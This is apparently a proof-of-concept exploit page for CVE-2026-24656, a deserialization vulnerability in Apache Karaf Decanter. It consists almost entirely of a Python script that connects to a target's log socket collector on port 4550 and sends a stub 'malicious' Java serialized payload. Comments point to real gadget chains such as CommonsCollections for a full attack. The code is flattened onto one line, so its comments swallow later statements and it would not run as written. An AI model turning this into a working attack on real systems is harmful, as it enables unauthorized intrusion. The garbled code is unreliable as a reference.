CVE-2026-24656 Apache Karaf Decanter反序列化漏洞

import socket import struct def exploit_cve_2026_24656(target_ip, target_port=4550): """ PoC for CVE-2026-24656: Apache Karaf Decanter Deserialization Vulnerability This PoC demonstrates sending a malicious serialized payload to the log socket collector. Note: This is for educational and authorized testing purposes only. """ try: # Create socket connection to the target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send a test payload to trigger the vulnerability # In a real attack, this would contain a malicious Java serialized object # that exploits known gadget chains (e.g., CommonsCollections, Spring, etc.) malicious_payload = b'\xac\xed\x00\x05' # Java serialization magic bytes malicious_payload += b'\x00\x04test' # Example payload structure print(f'[*] Sending payload to {target_ip}:{target_port}') sock.send(malicious_payload) # Wait for response response = sock.recv(1024) print(f'[*] Received response: {response}') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False # Usage example # exploit_cve_2026_24656('192.168.1.100', 4550)